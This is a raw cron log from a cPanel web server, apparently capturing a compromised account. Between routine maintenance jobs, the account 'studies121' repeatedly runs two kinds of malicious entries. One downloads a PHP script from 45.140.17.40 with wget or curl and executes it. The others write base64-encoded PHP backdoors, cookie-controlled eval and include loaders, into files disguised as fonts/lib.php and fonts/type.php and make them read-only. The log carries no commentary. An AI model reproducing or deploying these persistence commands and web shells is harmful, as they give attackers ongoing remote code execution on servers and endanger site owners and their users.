Aug 30 11:30:01 ip-184-168-122-23 CROND[4236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:30:01 ip-184-168-122-23 CROND[4237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:30:01 ip-184-168-122-23 CROND[4241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:30:01 ip-184-168-122-23 CROND[4240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:30:01 ip-184-168-122-23 CROND[4242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:30:01 ip-184-168-122-23 CROND[4239]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:31:01 ip-184-168-122-23 CROND[4341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:31:01 ip-184-168-122-23 CROND[4342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:31:01 ip-184-168-122-23 CROND[4345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:31:01 ip-184-168-122-23 CROND[4346]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 11:31:01 ip-184-168-122-23 CROND[4351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:32:01 ip-184-168-122-23 CROND[4477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:32:01 ip-184-168-122-23 CROND[4479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:32:01 ip-184-168-122-23 CROND[4481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:32:01 ip-184-168-122-23 CROND[4482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:32:01 ip-184-168-122-23 CROND[4480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:33:01 ip-184-168-122-23 CROND[4587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:33:01 ip-184-168-122-23 CROND[4592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:33:01 ip-184-168-122-23 CROND[4591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:33:01 ip-184-168-122-23 CROND[4590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:34:01 ip-184-168-122-23 CROND[4668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:34:01 ip-184-168-122-23 CROND[4670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:34:01 ip-184-168-122-23 CROND[4671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:34:01 ip-184-168-122-23 CROND[4672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:34:01 ip-184-168-122-23 CROND[4673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:35:01 ip-184-168-122-23 CROND[4761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:35:01 ip-184-168-122-23 CROND[4762]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 11:35:01 ip-184-168-122-23 CROND[4765]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 11:35:01 ip-184-168-122-23 CROND[4766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:35:01 ip-184-168-122-23 CROND[4767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:35:01 ip-184-168-122-23 CROND[4763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:35:01 ip-184-168-122-23 CROND[4769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:35:01 ip-184-168-122-23 CROND[4768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:36:01 ip-184-168-122-23 CROND[4953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:36:01 ip-184-168-122-23 CROND[4957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:36:01 ip-184-168-122-23 CROND[4954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:36:01 ip-184-168-122-23 CROND[4956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:36:01 ip-184-168-122-23 CROND[4955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:37:01 ip-184-168-122-23 CROND[5089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:37:01 ip-184-168-122-23 CROND[5091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:37:01 ip-184-168-122-23 CROND[5092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:37:01 ip-184-168-122-23 CROND[5095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:38:01 ip-184-168-122-23 CROND[5183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:38:01 ip-184-168-122-23 CROND[5181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:38:01 ip-184-168-122-23 CROND[5182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:38:01 ip-184-168-122-23 CROND[5184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:38:01 ip-184-168-122-23 CROND[5189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:39:01 ip-184-168-122-23 CROND[5275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:39:01 ip-184-168-122-23 CROND[5279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:39:01 ip-184-168-122-23 CROND[5276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:39:01 ip-184-168-122-23 CROND[5278]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 11:39:01 ip-184-168-122-23 CROND[5280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:40:01 ip-184-168-122-23 CROND[5395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:40:01 ip-184-168-122-23 CROND[5398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:40:01 ip-184-168-122-23 CROND[5400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:40:01 ip-184-168-122-23 CROND[5402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:40:01 ip-184-168-122-23 CROND[5404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:40:01 ip-184-168-122-23 CROND[5406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:40:01 ip-184-168-122-23 CROND[5405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:40:01 ip-184-168-122-23 CROND[5408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:41:01 ip-184-168-122-23 CROND[5585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:41:01 ip-184-168-122-23 CROND[5588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:41:01 ip-184-168-122-23 CROND[5586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:41:01 ip-184-168-122-23 CROND[5587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:42:01 ip-184-168-122-23 CROND[5670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:42:01 ip-184-168-122-23 CROND[5672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
